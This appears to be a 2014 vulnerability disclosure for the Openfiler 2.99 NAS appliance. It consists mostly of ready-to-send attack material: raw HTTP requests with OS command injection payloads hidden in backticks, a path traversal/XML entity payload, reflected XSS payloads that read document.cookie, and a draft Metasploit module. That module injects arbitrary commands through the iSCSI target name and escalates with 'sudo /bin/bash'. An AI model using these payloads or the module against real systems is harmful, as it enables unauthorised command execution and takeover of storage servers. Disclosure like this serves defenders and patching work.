#Tested on Openfiler NAS/SAN Appliance version 2.99 #Author: MiDoveteMollare #Date: 10 June 2014 OS Command Injection (after authentication) #1 page: services_iscsi_target.html paramenter: password POST /admin/services_iscsi_target.html HTTP/1.1 Host: IP:446 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: https://IP:446/admin/services_iscsi_target.html Content-Type: application/x-www-form-urlencoded Content-Length: 83 Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password; template=classic; lng=en username=AAA&addChapUser=Add&usertype=OutgoingUser&password=aaaa`touch%20/tmp/test` OS Command Injection (after authentication) #2 page: volumes_iscsi_targets.html paramenter: newTgtName POST /admin/volumes_iscsi_targets.html HTTP/1.1 Host: IP:446 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: https://IP:446/admin/volumes_iscsi_targets.html Content-Type: application/x-www-form-urlencoded Content-Length: 49 Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password; template=classic; lng=en addNewTgt=Add&newTgtName=aaaa`touch%20/tmp/bbbbb` Path Traversal (after authentication) : page: system_ups.html paramenter: TinkerAjaxArgs[] POST /admin/system_ups.html HTTP/1.1 Host: IP:446 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Method: POST https://IP:446/admin/system_ups.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://IP:446/admin/system_ups.html Content-Length: 1180 Cookie: template=classic; lng=en; subNavIscsi-targetset=true; subNavIscsi-lunmap=false; subNavIscsi-networkacl=false; subNavIscsi-chapauth=false; usercookie=openfiler; passcookie=password Connection: keep-alive Pragma: no-cache Cache-Control: no-cache TinkerAjax=addUPSDevice&TinkerAjaxr=1402385862174&TinkerAjaxArgs[]=%20]>%0a%09devicenameinput<%2fname>%0a%09%09APC%20-%20Back-UPS%20CS%20350%20USB%2fSerial%26xxe915a7%3b<%2fvalue><%2fobject>%0a%09driverinput<%2fname>%0a%09%09apcsmart<%2fvalue><%2fobject>%0a%09%09upsstatusinput<%2fname>%0a%09%091<%2fvalue><%2fobject>%0a%09confignameinput<%2fname>%0a%09%09ups0<%2fvalue><%2fobject>%0a%09portinput<%2fname>%0a%09%09ttyS0<%2fvalue><%2fobject>%0a%09descinput<%2fname>%0a%09%09dsa<%2fvalue><%2fobject>%0a%09sorderinput<%2fname>%0a%09%090<%2fvalue><%2fobject>%0a%09cableinput<%2fname>%0a%09%09simple<%2fvalue><%2fobject>%0a%09sdtypeinput<%2fname>%0a%09%090<%2fvalue><%2fobject>%0a%09configformsubm itbutton<%2fname>%0a%09%09Add%20Device<%2fvalue><%2fobject>%0a%09configformcancelbutton<%2fname>%0a%09%09Cancel<%2fvalue><%2fobject>%0a%0a<%2ftinker-query>%0a Passwords are saved in clear text in cookies: HTTP/1.1 302 Found Date: Mon, 09 Jun 2014 12:09:45 GMT Server: Apache/2.2.9 (rPath) X-Powered-By: PHP/5.2.11 Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: usercookie=root; path=/; secure Set-Cookie: passcookie=mypassword; path=/; secure Cookies are not protected with HttpOnly: HTTP/1.1 200 OK Date: Sun, 02 Feb 2003 01:01:03 GMT Server: Apache/2.2.9 (rPath) X-Powered-By: PHP/5.2.11 Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: language_code=it_IT; expires=Mon, 02-Feb-2004 01:01:04 GMT; path=/ Set-Cookie: usercookie=openfiler; path=/; secure Set-Cookie: passcookie=password; path=/; secure Reflected XSS (before authentication): Tested with Chrome, not working on Firefox. https://IP:446/uptime.html?TinkerAjax=getUptime0fa3e]]%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3C![CDATA[alert%28document.cookie%29]]%3E%3C/script%3E[[&TinkerAjaxr=1402315831409 Reflected XSS (after authentication): page: services_ftp.html parameters: MaxInstances, PassivePorts, Port, ServerName, TimeoutLogin, TimeoutNoTransfer, TimeoutStalled, POST /admin/services_ftp.html HTTP/1.1 Host: IP:446 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: https://IP:446/admin/services_ftp.html Content-Type: application/x-www-form-urlencoded Content-Length: 262 Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password; template=classic; lng=en TimeoutIdle=600&TimesGMT=on&ServerName=FTP+Server&TimeoutStalled=3600&MaxInstances=">&TimeoutLogin=120&AllowForeignAddress=on&IdentLookups=on&Port=21&TimeoutNoTransfer=900&PassivePorts=55535+65534&ServerIdent=on&UseReverseDNS=on&applyftpsettings=Apply&reload=on Reflected XSS (after authentication): page: /admin/system.html [parameterd: dns1 dns2 GET /admin/system.html?dns1=1.1.1.1">&dns2=1.1.1.1&gateway=DHCP+Controlled&netconf=Update&hostname=localhost.localdomain Reflected XSS (after authentication): page: /admin/volumes_iscsi_targets.html parameter: newTgtName POST /admin/volumes_iscsi_targets.html HTTP/1.1 Host: IP:446 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: https://IP:446/admin/volumes_iscsi_targets.html Content-Type: application/x-www-form-urlencoded Content-Length: 69 Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password; template=classic; lng=en addNewTgt=Add&newTgtName=iqn.2006-01.com.openfiler%3atsn"> PHP version leak: https://IP:446/phpinfo.html Draft of a Metasploit Module for command injection #2 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Openfiler v2.99 Volumes Iscsi Command Execution", 'Description' => %q{ This module exploits a vulnerability in Openfiler v2.99 which could be abused to allow authenticated users to execute arbitrary code under the context of the 'openfiler' user. }, 'License' => MSF_LICENSE, 'Author' => [ ' ' # Discovery and exploit ], 'References' => [ ['BID', 'TBD'], ['URL', 'TBD'], ['OSVDB', 'TBD'], ['EDB', 'TBD'] ], 'DefaultOptions' => { 'ExitFunction' => 'none' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet python perl bash', } }, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Jun 10 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(446), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']), OptString.new('PASSWORD', [true, 'The password for the application', 'password']) ], self.class) end def check # retrieve software version from login page vprint_status("#{peer} - Sending check") begin res = send_request_cgi({ 'uri' => '/' }) if res and res.code == 200 and res.body =~ /Distro Release: <\/strong>Openfiler [NE]SA 2\./ return Exploit::CheckCode::Appears elsif res and res.code == 200 and res.body =~ /Openfiler Storage Control Center<\/title>/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("#{peer} - Connection failed") return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def on_new_session(client) client.shell_command_token("sudo /bin/bash") end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] cmd = Rex::Text.uri_encode("#{payload.raw}&") # send payload print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") begin res = send_request_cgi({ 'uri' => "/admin/volumes_iscsi_targets.html", 'method' => "POST", 'data' => "addNewTgt=Add&newTgtName=aaaa`#{cmd}`", 'cookie' => "usercookie=#{user}; passcookie=#{pass};", }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unknown, 'Connection failed') end if res and res.code == 302 print_good("#{peer} - Payload sent successfully") elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/ fail_with(Failure::NoAccess, 'Authentication failed') else fail_with(Failure::Unknown, 'Sending payload failed') end end end